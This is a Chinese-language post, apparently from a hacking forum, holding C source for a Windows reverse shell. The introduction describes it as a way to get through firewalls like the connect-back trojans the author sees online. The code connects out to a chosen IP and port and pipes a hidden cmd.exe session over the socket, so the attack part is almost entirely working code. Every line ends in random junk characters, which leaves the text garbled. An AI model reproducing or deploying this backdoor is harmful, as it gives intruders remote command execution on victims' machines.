这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /pN2Jst
T+"y8#:
/* ============================== bj^m<}
Rebound port in Windows NT A^pp'{ !.
By wind,2006/7 4>#^Pk?Ra
===============================*/ m?`Rl6!@8\
#include &4FdA|9T
#include K)@Buu&,p
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#pragma comment(lib,"wsock32.lib") R/YL1s
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void OutputShell(); :_zKUv]
SOCKET sClient; 3%a37/|~y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q~{@3<yEI
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void main(int argc,char **argv) @>j \~<%
{ __c_JU
WSADATA stWsaData; 'E,Yht=/}
int nRet; .).<L`q
SOCKADDR_IN stSaiClient,stSaiServer; :wAB"TCt0
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if(argc != 3) N|LVLsK
{ UQ~rVUo.c
printf("Useage:\n\rRebound DestIP DestPort\n"); [40 YoVlfM
return; q Q8l8
} U:e9Vq'N m
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WSAStartup(MAKEWORD(2,2),&stWsaData); \&90$>h
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _F EF+I
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stSaiClient.sin_family = AF_INET; d`/{0 :F
stSaiClient.sin_port = htons(0); ?J?!%Mw
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5i?U-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kv b-=
{ Oa
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printf("Bind Socket Failed!\n"); RI;RE/Z
return; 0]~n8mB>
} ](D [T
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stSaiServer.sin_family = AF_INET; k5YDqGn'q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3!L)7Z/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zOw]P6Gk
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IuF-bxA
{ \zwb> ^
printf("Connect Error!"); 'z'm:|JW
return; 5EUkp6Y
} nLg7A3[1v
OutputShell(); !@X#{
} /'(P{O>{j
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void OutputShell() @\R)k(F
{ RFdN13sJv
char szBuff[1024]; 9[*kpMC
SECURITY_ATTRIBUTES stSecurityAttributes; >Z%^|S9
OSVERSIONINFO stOsversionInfo; &.,OvVAo
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .8m)^ET
STARTUPINFO stStartupInfo; |7-tUHMo[
char *szShell; S}/CzQ
PROCESS_INFORMATION stProcessInformation; ES> 3Cf
unsigned long lBytesRead; 2~)]E#9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mx yT==E
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x@~V975Y
stSecurityAttributes.lpSecurityDescriptor = 0; u$"5SGI6
stSecurityAttributes.bInheritHandle = TRUE; k<qQ+\X
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u@HP@>V
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <5q }j-Q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @&+
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -~q]0>
stStartupInfo.wShowWindow = SW_HIDE; f19
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stStartupInfo.hStdInput = hReadPipe; Tla*V#:Ve
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0)B+:
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GetVersionEx(&stOsversionInfo); Fmu R(f=
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switch(stOsversionInfo.dwPlatformId) ~$$V=$&
{ :PLs A3[}
case 1: xOT3>$
szShell = "command.com"; H{BjxZ~)
break; YpL}R#
default: D7%89qt
szShell = "cmd.exe"; JTC&_6
break; ,-b9:]{L
} ,P|PPx%@
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ax<0grK
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send(sClient,szMsg,77,0); ubLLhf
while(1) iY2bRXA
{ 5~kf:U%~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g#AA.@/Z
if(lBytesRead) V= _8G3
{ }fhVn;~}8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )_jO8)jB
send(sClient,szBuff,lBytesRead,0); S8y4 p0mV
} K( p1+GHC
else 5HU>o|.
{ QZ6M,\
lBytesRead=recv(sClient,szBuff,1024,0); xQ[YQ!l
if(lBytesRead<=0) break; ZoUfQ!2*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5E@V@kw
} jsR1jou6
} -K0tK~%q
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return; +k>v^sz
}